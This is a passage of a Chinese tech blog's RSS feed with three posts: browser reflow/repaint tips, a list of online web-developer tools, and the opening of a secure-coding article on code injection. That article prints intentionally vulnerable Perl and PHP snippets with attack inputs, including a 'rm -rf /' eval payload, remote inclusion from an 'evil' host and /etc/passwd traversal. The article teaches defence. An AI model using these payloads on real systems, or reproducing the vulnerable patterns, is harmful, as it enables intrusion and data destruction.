<li>clientTop/Left/Width/Height</li>
<li>IE中的 getComputedStyle(), 或 currentStyle</li>
</ol>
<p style="text-align: left;">因为，如果我们的程序需要这些值，那么浏览器需要返回最新的值，而这样一样会flush出去一些样式的改变，从而造成频繁的reflow/repaint。</p>
<h4 style="text-align: left;">减少reflow/repaint</h4>
<p>下面是一些Best Practices：</p>
<p><strong>1）不要一条一条地修改DOM的样式。与其这样，还不如预先定义好css的class，然后修改DOM的className。</strong></p>
<p>[javascript]// bad<br />
var left = 10,<br />
top = 10;<br />
el.style.left = left + &quot;px&quot;;<br />
el.style.top  = top  + &quot;px&quot;;</p>
<p>// Good<br />
el.className += &quot; theclassname&quot;;</p>
<p>// Good<br />
el.style.cssText += &quot;; left: &quot; + left + &quot;px; top: &quot; + top + &quot;px;&quot;;[/javascript]</p>
<p><strong>2）把DOM离线后修改。如：</strong></p>
<ul>
<li>使用documentFragment 对象在内存里操作DOM</li>
<li>先把DOM给display:none(有一次reflow)，然后你想怎么改就怎么改。比如修改100次，然后再把他显示出来。</li>
<li>clone一个DOM结点到内存里，然后想怎么改就怎么改，改完后，和在线的那个的交换一下。</li>
</ul>
<p>3）<strong>不要把DOM结点的属性值放在一个循环里当成循环里的变量。</strong>不然这会导致大量地读写这个结点的属性。</p>
<p>4）<strong>尽可能的修改层级比较低的DOM</strong>。当然，改变层级比较底的DOM有可能会造成大面积的reflow，但是也可能影响范围很小。</p>
<p>5）<strong>为动画的HTML元件使用fixed或absoult的position</strong>，那么修改他们的CSS是不会reflow的。</p>
<p>6）<strong>千万不要使用table布局</strong>。因为可能很小的一个小改动会造成整个table的重新布局。</p>
<blockquote><p>In this manner, the user agent can begin to lay out the table once the entire first row has been received. Cells in subsequent rows do not affect column widths. Any cell that has content that overflows uses the ‘overflow’ property to determine whether to clip the overflow content.</p>
<p><cite><a href="http://www.w3.org/TR/CSS21/tables.html#fixed-table-layout">Fixed layout, CSS 2.1 Specification</a></cite></p></blockquote>
<blockquote><p>This algorithm may be inefficient since it requires the user agent to have access to all the content in the table before determining the final layout and may demand more than one pass.</p>
<p><cite><a href="http://www.w3.org/TR/CSS21/tables.html#auto-table-layout">Automatic layout, CSS 2.1 Specification</a></cite></p></blockquote>
<h4>几个工具和几篇文章</h4>
<p>有时候，你会也许会发现在IE下，你不知道你修改了什么东西，结果CPU一下子就上去了到100%，然后过了好几秒钟repaint/reflow才完成，这种事情以IE的年代时经常发生。所以，我们需要一些工具帮我们看看我们的代码里有没有什么不合适的东西。</p>
<ul>
<li>Chrome下，Google的<a href="http://code.google.com/webtoolkit/speedtracer/">SpeedTracer</a>是个非常强悍的工作让你看看你的浏览渲染的成本有多大。其实Safari和Chrome都可以使用开发者工具里的一个Timeline的东东。</li>
</ul>
<ul>
<li>Firefox下这个基于Firebug的叫<a href="https://addons.mozilla.org/en-US/firefox/addon/firebug-paint-events/" target="_blank">Firebug Paint Events</a>的插件也不错。</li>
</ul>
<ul>
<li>IE下你可以用一个叫<a href="http://ajax.dynatrace.com/pages/">dynaTrace</a>的IE扩展。</li>
</ul>
<p>最后，别忘了下面这几篇提高浏览器性能的文章：</p>
<ul>
<li><a href="http://code.google.com/speed/page-speed/docs/rules_intro.html">Google &#8211; Web Performance Best Practices</a></li>
<li><a href="http://developer.yahoo.com/performance/rules.html">Yahoo &#8211; Best Practices for Speeding Up Your Web Site</a></li>
<li><a href="http://stevesouders.com/hpws/rules.php">Steve Souders &#8211; 14 Rules for Faster-Loading Web Sites</a></li>
</ul>
<h4>参考</h4>
<ul>
<li>David Baron的演讲：Fast CSS: How Browsers Lay Out Web Pages：<a href="http://dbaron.org/talks/2012-03-11-sxsw/slide-1.xhtml" target="_blank">slideshow</a>, <a href="http://dbaron.org/talks/2012-03-11-sxsw/master.xhtml">all slides</a>, <a href="http://audio.sxsw.com/2012/podcasts/11-ACC-Fast_CSS_How_Browser_Layout.mp3">audio (MP3)</a>, <a href="http://schedule.sxsw.com/2012/events/event_IAP12909">Session page</a>, <a href="http://lanyrd.com/2012/sxsw-interactive/spmbt/">Lanyrd page</a></li>
</ul>
<ul>
<li>How Browsers Work: <a href="http://taligarsiel.com/Projects/howbrowserswork1.htm" target="_blank">http://taligarsiel.com/Projects/howbrowserswork1.htm</a></li>
</ul>
<ul>
<li>Mozilla 的 Style System Overview：<a href="https://developer.mozilla.org/en-US/docs/Style_System_Overview" target="_blank">https://developer.mozilla.org/en-US/docs/Style_System_Overview</a></li>
</ul>
<ul>
<li>Mozilla 的 Note of reflow： <a href="http://www-archive.mozilla.org/newlayout/doc/reflow.html" target="_blank">http://www-archive.mozilla.org/newlayout/doc/reflow.html</a></li>
</ul>
<ul>
<li>Rendering: repaint, reflow/relayout, restyle：<a href="http://www.phpied.com/rendering-repaint-reflowrelayout-restyle/" target="_blank">http://www.phpied.com/rendering-repaint-reflowrelayout-restyle/</a></li>
</ul>
<ul>
<li>Effective Rendering CSS：<a href="http://css-tricks.com/efficiently-rendering-css/" target="_blank">http://css-tricks.com/efficiently-rendering-css/</a></li>
</ul>
<ul>
<li><strong></strong>Webkit Rendering文档：<a href="http://trac.webkit.org/wiki/WebCoreRendering" target="_blank">http://trac.webkit.org/wiki/WebCoreRendering</a></li>
</ul>
<p><!--



<p align="center"><a href= target=_blank><img decoding="async" src=""></a></p>





<p align="center"><img decoding="async" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg"> <img decoding="async" loading="lazy" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg" width="300" height="300"> <br />关注CoolShell微信公众账号和微信小程序</p>

 

--></p>
<div style="margin-top: 15px; font-size: 16px;color: #cc0000;">
<p align="center"><strong>（转载本站文章请注明作者和出处 <a href="https://coolshell.cn/">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>
</div>

<div class="wp_rp_wrap  wp_rp_vertical_m" ><div class="wp_rp_content"><h3 class="related_post_title">相关文章</h3><ul class="related_post wp_rp"><li ><a href="https://coolshell.cn/articles/3684.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2011/02/1128-150x150.jpg" alt="Web开发人员速查卡" width="150" height="150" /></a><a href="https://coolshell.cn/articles/3684.html" class="wp_rp_title">Web开发人员速查卡</a></li><li ><a href="https://coolshell.cn/articles/17634.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif" alt="Chrome开发者工具的小技巧" width="150" height="150" /></a><a href="https://coolshell.cn/articles/17634.html" class="wp_rp_title">Chrome开发者工具的小技巧</a></li><li ><a href="https://coolshell.cn/articles/9749.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2013/06/javascript-150x150.jpg" alt="Javascript 装载和执行" width="150" height="150" /></a><a href="https://coolshell.cn/articles/9749.html" class="wp_rp_title">Javascript 装载和执行</a></li><li ><a href="https://coolshell.cn/articles/6840.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/03/css-layouts-150x150.gif" alt="CSS 布局:40个教程、技巧、例子和最佳实践" width="150" height="150" /></a><a href="https://coolshell.cn/articles/6840.html" class="wp_rp_title">CSS 布局:40个教程、技巧、例子和最佳实践</a></li><li ><a href="https://coolshell.cn/articles/6043.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg" alt="Web开发中需要了解的东西" width="150" height="150" /></a><a href="https://coolshell.cn/articles/6043.html" class="wp_rp_title">Web开发中需要了解的东西</a></li><li ><a href="https://coolshell.cn/articles/5537.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2011/11/stackparts.com_-150x150.png" alt="一些文章资源和趣闻" width="150" height="150" /></a><a href="https://coolshell.cn/articles/5537.html" class="wp_rp_title">一些文章资源和趣闻</a></li></ul></div></div>The post <a href="https://coolshell.cn/articles/9666.html">浏览器的渲染原理简介</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></content:encoded>
					
					<wfw:commentRss>https://coolshell.cn/articles/9666.html/feed</wfw:commentRss>
			<slash:comments>155</slash:comments>
		
		<enclosure url="http://audio.sxsw.com/2012/podcasts/11-ACC-Fast_CSS_How_Browser_Layout.mp3" length="20902392" type="audio/mpeg" />

			</item>
		<item>
		<title>Web工程师的工具箱</title>
		<link>https://coolshell.cn/articles/8767.html</link>
					<comments>https://coolshell.cn/articles/8767.html#comments</comments>
		
		<dc:creator><![CDATA[陈皓]]></dc:creator>
		<pubDate>Tue, 18 Dec 2012 16:04:43 +0000</pubDate>
				<category><![CDATA[Web开发]]></category>
		<category><![CDATA[杂项资源]]></category>
		<category><![CDATA[编程工具]]></category>
		<category><![CDATA[AutoTools]]></category>
		<category><![CDATA[HTTP]]></category>
		<category><![CDATA[http load]]></category>
		<category><![CDATA[test]]></category>
		<category><![CDATA[Web]]></category>
		<guid isPermaLink="false">http://coolshell.cn/?p=8767</guid>

					<description><![CDATA[<p>本文出自Ivan Zuzak 的《The Web engineer&#8217;s online toolbox》，作者给了一个各种可以用来进行开发、测试、调试...</p>
<p class="read-more"><a class="btn btn-default" href="https://coolshell.cn/articles/8767.html"> Read More<span class="screen-reader-text">  Read More</span></a></p>
The post <a href="https://coolshell.cn/articles/8767.html">Web工程师的工具箱</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></description>
										<content:encoded><![CDATA[<p><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158"
     crossorigin="anonymous"></script><img decoding="async" loading="lazy" class="alignright  wp-image-8771" alt="Web Toolbox" src="https://coolshell.cn/wp-content/uploads/2012/12/webtoolbox.jpg" width="318" height="196" srcset="https://coolshell.cn/wp-content/uploads/2012/12/webtoolbox.jpg 397w, https://coolshell.cn/wp-content/uploads/2012/12/webtoolbox-300x185.jpg 300w" sizes="(max-width: 318px) 100vw, 318px" />本文出自<a href="http://ivanzuzak.info/" target="_blank">Ivan Zuzak</a> 的《<a href="http://ivanzuzak.info/2012/11/18/the-web-engineers-online-toolbox.html" target="_blank">The Web engineer&#8217;s online toolbox</a>》，作者给了一个各种可以用来进行开发、测试、调试以及文档编排的在线工具集。（注：我发现CSDN上已经有了这篇文章《<a href="http://www.csdn.net/article/2012-11-19/2811992" target="_blank">Web工程师必备的18款工具</a>》，但可惜的是这篇文章并不全（原文后来被更新到了33个工具），而且其中并没有包括原文评论中出现的所有工具，所以，我一并补全了更出来，一共40多个工具）</p>
<h4><strong>Web工程师在线工具箱</strong></h4>
<ul>
<li><a href="http://requestb.in/" target="_blank"><strong>RequestBin</strong></a><strong>：</strong>允许你创建一个URL，利用这款工具进行收集请求，然后通过个性化方式进行检查。</li>
</ul>
<ul>
<li><a href="http://hurl.it/" target="_blank"><strong>Hurl</strong></a><strong>：</strong>发出HTTP请求，输入URL，设置标题，查看响应，最后分享给其他人。类似的工具有：<a href="http://resttesttest.com/" target="_blank">REST test test</a>, <a href="https://apigee.com/console/others" target="_blank">Apigee console</a>.。</li>
</ul>
<ul>
<li><a href="http://httpbin.org/" target="_blank"><strong>Httpbin</strong></a><strong>：</strong>HTTP请求&amp;响应服务，涵盖所有的HTTP方案（例如不同的HTTP verbs、状态代码和重定向）。类似工具：<a href="http://ivanzuzak.info/urlecho/">UrlEcho</a>。</li>
</ul>
<ul>
<li><a href="http://redbot.org/" target="_blank"><strong>REDbot</strong></a><strong>：</strong>这是一个机器人工具，帮助用户检查HTTP资源，可查看它的操作情况，指出常见的问题并提出改进。类似工具：<a href="http://zamez.org/httplint">HTTP lint</a>。</li>
</ul>
<ul>
<li><a href="http://webgun.io/" target="_blank"><strong>WebGun</strong></a><strong>：</strong>用于创建webhooks模板的API。类似工具：<a href="https://github.com/izuzak/urlreq">UrlReq</a>。</li>
</ul>
<ul>
<li><strong><a href="https://www.webscript.io/">Webscript</a> </strong> 自选一个url，填一段Lua代码，就能对访问做各种respond，还可以主动运行任务，cron job等等&#8230;</li>
</ul>
<p><span id="more-8767"></span></p>
<ul>
<li><strong><a href="http://www.clickhooks.com/">ClickHooks</a> </strong>这是一个短网址服务， 当用户访问了你的这个短网址跳转链接，服务器会通过HTTP POST的方式回调你的一个URL。这也是一种WebHooks方式。（陈皓注：所谓WebHooks，你可以理解为一种trigger，或是一种handler，比如当你你提交了代码，会调用某个URL链接以POST的方式告诉那个网站你提交了代码（如：发一个twitter 之类的，或是通知某个bug tracker系统））</li>
</ul>
<ul>
<li><strong><a href="http://mailhooks2.appspot.com/">MailHooks</a> </strong>让你可以通过HTTP POST方法收电子邮件（又叫WebHooks），你可以为你的一个邮件地址创建N多的hooks，当一个邮件收到了，可以把这个邮件以POST的方式发到你的某个URL上去。</li>
</ul>
<ul>
<li><strong><a href="http://a.quil.la/">Quilla</a> </strong>提供一个人们可以找到你的短网站服务，在那里，当人们提交到你的短网址上的请求会给你发邮件。好像是一种HTTP到SMTP的代理服务。</li>
</ul>
<ul>
<li><a href="http://apify.heroku.com/resources" target="_blank"><strong>Apify</strong></a><strong>：</strong>公开锁定在HTML文档没有任何API数据集。APIfy从结构标记中提取数据，并将其转换为JSON APIs。</li>
</ul>
<ul>
<li><a href="http://validator.w3.org/unicorn/" target="_blank"><strong>Unicorn</strong></a><strong>：</strong>W3C统一的验证程序，可在各种流行的HTML和CSS验证器中执行各种检查。类似工具：<a href="http://lint.brihten.com/html/">HTML lint</a>。</li>
</ul>
<ul>
<li><strong><a href="http://jsonlint.com/">JSONLint</a> </strong>JSON 格式验证程序</li>
</ul>
<ul>
<li><a href="http://validator.w3.org/feed/" target="_blank"><strong>Feed validator</strong></a><strong>：</strong>支持W3C验证，为RSS和ATOM提供阅读源。</li>
</ul>
<ul>
<li><a href="http://validator.w3.org/checklink" target="_blank"><strong>Link checker</strong></a><strong>：</strong>从网站中提取链接（递归）并确保没有链接被定义为两次（重复定义），所有的链接被引用并警告HTTP重新定向。</li>
</ul>
<ul>
<li><a href="http://www.host-tracker.com/" target="_blank"><strong>Host tracker</strong></a><strong>：</strong>通过分布式ping/跟踪检查、定期监测、邮件/SMS /IM通知和统计进行网站检测性服务。类似工具有：<a href="http://www.downforeveryoneorjustme.com/">Down for everyone or just me</a>, <a href="http://tools.pingdom.com/ping/">Pimgdom ping service</a></li>
</ul>
<ul>
<li><strong><a href="http://www.viewdns.info/">ViewDNS</a> </strong>一组 DNS 和网络工具，如：反向IP解析，DNS记录查询或traceroute之类的。</li>
</ul>
<ul>
<li><strong><a href="http://www.necrohost.com/">Necrohost</a>  </strong>一个URL列表来模拟不同网络链接的问题，如：响应慢，无法解析DNS，或是404什么的。</li>
</ul>
<ul>
<li><strong><a href="https://code.google.com/p/mirrorrr/">Mirrorrr</a>  </strong>一个可以用来镜像某网页的应用（经常被国人用来搞Web 代理来翻墙）。</li>
</ul>
<ul>
<li><strong><a href="http://certlogik.com/ssl-checker/">SSL Checker</a>  </strong>测试SSL认证</li>
</ul>
<ul>
<li><strong><a href="http://certlogik.com/decoder/">CSR/Cert decoder</a>  </strong>对你的CSR和SSL认证decode检查。</li>
</ul>
<ul>
<li><strong><a href="http://loadzen.com/">Loadzen</a>  </strong>Web压力测试工具（注：以前酷壳介绍过《<a href="https://coolshell.cn/articles/2589.html" target="_blank">十个Web压力测试工具</a>》）</li>
</ul>
<ul>
<li><a href="http://tools.pingdom.com/fpt/" target="_blank"><strong>Pingdom Full page test</strong></a><strong>：</strong>允许用户测试网页记载时间、分析、监控，发现瓶颈并导出HAR格式的结果。类似工具：<a href="http://www.webpagetest.org/">Web page test</a>。</li>
</ul>
<ul>
<li><strong><a href="https://developers.google.com/speed/pagespeed/insights">Google PageSpeed Insights</a> </strong>Analyzes the content of a web page, then generates suggestions to make that page faster.</li>
</ul>
<ul>
<li><a href="http://www.softwareishard.com/har/viewer/" target="_blank"><strong>HAR viewer</strong></a><strong>：</strong>通过 HTTP 追踪工具创建可视化的HTTP Archive (HAR)日志文件。</li>
</ul>
<ul>
<li><a href="http://www.corsproxy.com/" target="_blank"><strong>CORS proxy</strong></a><strong>：</strong>通常会由于相同的域而被阻止，而这款工具在网站上允许JavaScript代码访问其他域上的资源，</li>
</ul>
<ul>
<li><a href="https://browserling.com/" target="_blank"><strong>Browserling</strong></a><strong>：</strong>支持使用所有主要浏览器以及各种版本进行交互式跨浏览器测试。</li>
</ul>
<ul>
<li><a href="http://www.websocket.org/echo.html" target="_blank"><strong>WebSocket Echo Test</strong></a><strong>:</strong> 从浏览器定向到WebSocket echo服务器进行WebSocket连接测试。</li>
</ul>
<ul>
<li><a href="http://developer.yahoo.com/yql/" target="_blank"><strong>YQL</strong></a><strong>：</strong>极富表现力类似于SQL的语言，允许您查询、筛选和联接数据跨Web服务。</li>
</ul>
<ul>
<li><strong><a href="http://webshell.io/">Webshell</a> </strong>使用命令行脚本的方式来调用一些Web API。</li>
</ul>
<ul>
<li><a href="http://pipes.yahoo.com/pipes/" target="_blank"><strong>Yahoo Pipes</strong></a><strong>：</strong>一个图形化的用户界面，用于创建数据混搭，生成聚合Web源，Web页面和其他服务。</li>
</ul>
<ul>
<li><a href="http://apiary.io/" target="_blank"><strong>Apiary</strong></a><strong>：</strong>语言和工具用于生成REST API文档及进行交互式督查。类似工具：<a href="http://swagger.wordnik.com/">Swagger</a>。</li>
</ul>
<ul>
<li><strong><a href="http://jsfiddle.net/">JSFiddle</a>  </strong>一个在线的代码编辑可以让你编译一些HTML, CSS 和 JavaScript的东西，并演示之。相似工具: <a href="http://jsbin.com/">JSBin</a></li>
</ul>
<ul>
<li><a href="https://developers.google.com/feed/v1/jsondevguide">Google Feed API</a> 你可以使用这个API来查询有RSS Feed的网站 (<a href="http://ajax.googleapis.com/ajax/services/feed/lookup?v=1.0&amp;q=http://ivanzuzak.info/">example</a>)，或是搜索有RSS Feed(<a href="https://ajax.googleapis.com/ajax/services/feed/find?v=1.0&amp;q=ivan%20zuzak">example</a>) ，或是把JSON变成一个JSON返回 (<a href="https://ajax.googleapis.com/ajax/services/feed/load?v=1.0&amp;q=http://ivanzuzak.info/atom.xml">example</a>)</li>
</ul>
<h4>未在列表的工具</h4>
<ul>
<li><a href="http://www.fiddler2.com/fiddler2/">Fiddler</a> &#8212; 可能是最强大最好用的Web调试工具之一，它能记录所有客户端和服务器的http和https请求，允许你监视，设置断点，甚至修改输入输出数据. 使用Fiddler无论对开发还是测试来说，都有很大的帮助。.</li>
</ul>
<ul>
<li><a href="http://grids.heroku.com/">960 grid system generator</a> 和 <a href="http://meyerweb.com/eric/tools/css/reset/">CSS reset</a> &#8212; 两个关注于Web站点设计的工具。</li>
</ul>
<ul>
<li><a href="http://www.nuvolabase.com/site/index.html">NuvolaBase</a> &#8212; 一个可以共享个人私有数据的解决方案。正如作者所说，这不是一个开发工具。</li>
</ul>
<ul>
<li><a href="https://openexchangerates.org/">Open exchange rates</a> &#8212; 一个和汇率货币相关的JSON式的API。这样的API你可以到 <a href="http://www.programmableweb.com/">Programmable Web</a> 上查找。</li>
</ul>
<ul>
<li><a href="https://workflowy.com/">Workflowy</a>, <a href="http://www.lastcalc.com/">LastCalc</a>, <a href="http://codepad.org/">Codepad</a>, <a href="http://www.mailinator.com/">Mailinator</a> and <a href="http://10minutemail.com/">10MinuteMail</a>, <a href="https://onetimesecret.com/">One time secret</a> and <a href="http://copypastecharacter.com/">CopyPasteCharacter</a> &#8212; 这些App似乎和Web开发没什么关系。</li>
</ul>
<ul>
<li><a href="https://browsershots.org/">Browsershots</a> &#8212; 一个用来测试网页在不同平台下的工具。（参看）</li>
</ul>
<ul>
<li><a href="http://scriptular.com/">Scriptular</a> and <a href="http://rubular.com/">Rubular</a> &#8212; 正则表达式工具，这样的工具太多了，如： <a href="http://refiddle.com/">ReFiddle</a>, <a href="http://regexpal.com/">Regex pal</a> and <a href="http://www.txt2re.com/">Txt2Re</a>。</li>
</ul>
<p>（全文完）<!--



<p align="center"><a href= target=_blank><img decoding="async" src=""></a></p>





<p align="center"><img decoding="async" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg"> <img decoding="async" loading="lazy" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg" width="300" height="300"> <br />关注CoolShell微信公众账号和微信小程序</p>

 

--></p>
<div style="margin-top: 15px; font-size: 16px;color: #cc0000;">
<p align="center"><strong>（转载本站文章请注明作者和出处 <a href="https://coolshell.cn/">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>
</div>

<div class="wp_rp_wrap  wp_rp_vertical_m" ><div class="wp_rp_content"><h3 class="related_post_title">相关文章</h3><ul class="related_post wp_rp"><li ><a href="https://coolshell.cn/articles/18094.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2017/08/enable-https-banner-150x150.png" alt="如何免费的让网站启用HTTPS" width="150" height="150" /></a><a href="https://coolshell.cn/articles/18094.html" class="wp_rp_title">如何免费的让网站启用HTTPS</a></li><li ><a href="https://coolshell.cn/articles/2589.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2010/07/get_more_web_traffic-150x150.jpg" alt="十个免费的Web压力测试工具" width="150" height="150" /></a><a href="https://coolshell.cn/articles/2589.html" class="wp_rp_title">十个免费的Web压力测试工具</a></li><li ><a href="https://coolshell.cn/articles/22173.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png" alt="“一把梭：REST API 全用 POST”" width="150" height="150" /></a><a href="https://coolshell.cn/articles/22173.html" class="wp_rp_title">“一把梭：REST API 全用 POST”</a></li><li ><a href="https://coolshell.cn/articles/19840.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2019/10/HTTP-770x513-300x200-1-150x150.jpg" alt="HTTP的前世今生" width="150" height="150" /></a><a href="https://coolshell.cn/articles/19840.html" class="wp_rp_title">HTTP的前世今生</a></li><li ><a href="https://coolshell.cn/articles/18360.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg" alt="程序员练级攻略（2018)  与我的专栏" width="150" height="150" /></a><a href="https://coolshell.cn/articles/18360.html" class="wp_rp_title">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href="https://coolshell.cn/articles/17381.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2016/07/PerfTest-150x150.png" alt="性能测试应该怎么做？" width="150" height="150" /></a><a href="https://coolshell.cn/articles/17381.html" class="wp_rp_title">性能测试应该怎么做？</a></li></ul></div></div>The post <a href="https://coolshell.cn/articles/8767.html">Web工程师的工具箱</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></content:encoded>
					
					<wfw:commentRss>https://coolshell.cn/articles/8767.html/feed</wfw:commentRss>
			<slash:comments>41</slash:comments>
		
		
			</item>
		<item>
		<title>程序员疫苗：代码注入</title>
		<link>https://coolshell.cn/articles/8711.html</link>
					<comments>https://coolshell.cn/articles/8711.html#comments</comments>
		
		<dc:creator><![CDATA[陈皓]]></dc:creator>
		<pubDate>Mon, 10 Dec 2012 00:34:48 +0000</pubDate>
				<category><![CDATA[Web开发]]></category>
		<category><![CDATA[网络安全]]></category>
		<category><![CDATA[CRSF]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[XSS]]></category>
		<category><![CDATA[安全]]></category>
		<guid isPermaLink="false">http://coolshell.cn/?p=8711</guid>

					<description><![CDATA[<p>几个月在我的微博上说过要建一个程序员疫苗网站，希望大家一起来提交一些错误示例的代码，来帮助我们新入行的程序员，不要让我们的程序员一代又一代的再重复地犯一些错误。...</p>
<p class="read-more"><a class="btn btn-default" href="https://coolshell.cn/articles/8711.html"> Read More<span class="screen-reader-text">  Read More</span></a></p>
The post <a href="https://coolshell.cn/articles/8711.html">程序员疫苗：代码注入</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></description>
										<content:encoded><![CDATA[<p><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158"
     crossorigin="anonymous"></script><img decoding="async" loading="lazy" class="alignright  wp-image-8730" title="程序员疫苗" src="https://coolshell.cn/wp-content/uploads/2012/12/200906020837401710.jpg" alt="" width="245" height="206" srcset="https://coolshell.cn/wp-content/uploads/2012/12/200906020837401710.jpg 350w, https://coolshell.cn/wp-content/uploads/2012/12/200906020837401710-300x252.jpg 300w, https://coolshell.cn/wp-content/uploads/2012/12/200906020837401710-321x270.jpg 321w" sizes="(max-width: 245px) 100vw, 245px" />几个月在<a href="http://weibo.com/haeol" target="_blank">我的微博</a>上说过要建一个程序员疫苗网站，希望大家一起来提交一些错误示例的代码，来帮助我们新入行的程序员，不要让我们的程序员一代又一代的再重复地犯一些错误。很多程序上错误就像人类世界的病毒一样，我们应该给我们的新入行的程序员注射一些疫苗，就像给新生儿打疫苗一样，希望程序员从入行时就对这些错误有抵抗力。</p>
<p>我的那个疫苗网站正在建议中（不好意思拖了很久），不过，我可以先写一些关于程序员疫苗性质的文章，也算是热热身。希望大家喜欢，先向大家介绍第一注疫苗——代码注入。</p>
<h4>Shell注入</h4>
<p>我们先来看一段perl的代码：</p>
<p>[perl]use CGI qw(:standard);<br />
$name = param(&#8216;name&#8217;);<br />
$nslookup = &quot;/path/to/nslookup&quot;;<br />
print header;<br />
if (open($fh, &quot;$nslookup $name|&quot;)) {<br />
    while (&lt;$fh&gt;) {<br />
        print escapeHTML($_);<br />
        print &quot;&lt;br&gt;\n&quot;;<br />
    }<br />
    close($fh);<br />
}[/perl]</p>
<p>如果用户输入的参数是：</p>
<p><code data-enlighter-language="shell" class="EnlighterJSRAW">coolshell.cn%20%3B%20/bin/ls%20-l</code></p>
<p>那么，这段perl的程序就成了：</p>
<p><span id="more-8711"></span></p>
<p><code data-enlighter-language="shell" class="EnlighterJSRAW">/path/to/nslookup coolshell.cn ; /bin/ls -l</code></p>
<p>我们再来看一段PHP的程序：</p>
<pre data-enlighter-language="php" class="EnlighterJSRAW">$myvar = &#039;somevalue&#039;;
$x = $_GET[&#039;arg&#039;];
eval(&#039;$myvar = &#039; . $x . &#039;;&#039;);</pre>
<p>&#8220;<code>eval</code>&#8220;的参数将会视同PHP处理，所以额外的命令可被添加。例如：如果&#8221;arg&#8221;如果被设成&#8221;<code>10; system('rm -rf /')</code>&#8220;，后面的&#8221;<code>system('rm -rf /')</code>&#8220;代码将被运行，这等同在服务器上运行开发者意料外的程序。（关于rm -rf /，你懂的，可参看“<a title="一个空格引发的惨剧" href="https://coolshell.cn/articles/4875.html" target="_blank">一个空格引发的悲剧</a>”）</p>
<p>再来看一个PHP的代码</p>
<pre data-enlighter-language="php" class="EnlighterJSRAW">$isadmin= false;
...
...
foreach ($_GET as $key =&gt; $value) {
  $$key = $value;
}</pre>
<p>如果攻击者在查询字符串中给定&#8221;isadmin=1&#8243;，那$isadmin将会被设为值 &#8220;1&#8221;，然后攻击值就取得了网站应用的admin权限了。</p>
<p>再来看一个PHP的示例：</p>
<pre data-enlighter-language="php" class="EnlighterJSRAW">$action = &#039;login&#039;;
   if (__isset( $_GET[&#039;act&#039;] ) )
      $action = $_GET[&#039;act&#039;];
   require( $action . &#039;.php&#039; ); </pre>
<p>这个代码相当危险，攻击者有可能可以干这些事：</p>
<ul>
<li><code>/test.php?act=<strong>http://evil/exploit</strong></code> &#8211; 注入远程机器上有漏洞的文件。</li>
<li><code>/test.php?act=<strong>/home/www/bbs/upload/exploit</strong></code> &#8211; 从一个已经上载、叫做exploit.php文件运行其代码。</li>
<li><code>/test.php?act=<strong>../../../../etc/passwd%00</strong></code> &#8211; 让攻击者取得该UNIX系统目录检索下密码文件的内容。一个使用空元字符以解除<code>.php</code>扩展名限制，允许访问其他非 .php 结尾文件。 (PHP默认值&#8221;magic_quotes_gpc = On&#8221;可以终止这种攻击)</li>
</ul>
<p>这样的示例有很多，只要你的程序有诸如：<code>system()</code>、<code>StartProcess()</code>、<code>java.lang.Runtime.exec()</code>、<code>System.Diagnostics.Process.Start()</code>以及类似的应用程序接口，都是比较危险的，最好不要让其中的字符串去拼装用户的输入。</p>
<p>PHP提供<code><a href="http://www.php.net/manual/en/function.escapeshellarg.php" rel="nofollow">escapeshellarg()</a></code>和<code><a href="http://www.php.net/manual/en/function.escapeshellcmd.php" rel="nofollow">escapeshellcmd()</a></code>以在调用方法以前进行编码。然而，实际上并不建议相信这些方法是安全的 。</p>
<h4>SQL注入</h4>
<p>SQL injection，是发生于应用程序之数据库层的安全漏洞。简而言之，是在输入的字符串之中注入SQL指令，在设计不良的程序当中忽略了检查，那么这些注入进去的指令就会被数据库服务器误认为是正常的SQL指令而运行，因此遭到破坏。</p>
<p>在应用程序中若有下列状况，则可能应用程序正暴露在SQL Injection的高风险情况下：</p>
<ol>
<li>在应用程序中使用字符串联结方式组合SQL指令（如：引号没有转义）。</li>
<li>在应用程序链接数据库时使用权限过大的帐户（如：很多开发人员都喜欢用sa（最高权限的系统管理员帐户）连接Microsoft SQL Server数据库）。</li>
<li>在数据库中开放了不必要但权力过大的功能（例如在Microsoft SQL Server数据库中的xp_cmdshell延伸预存程序或是OLE Automation预存程序等）</li>
<li>过于信任用户所输入的数据，未限制输入的字符数，以及未对用户输入的数据做潜在指令的检查。</li>
</ol>
<p>例程：</p>
<p>某个网站的登录验证的SQL查询代码为</p>
<div dir="ltr">
<div>
<pre data-enlighter-language="sql" class="EnlighterJSRAW">strSQL = &quot;SELECT * FROM users
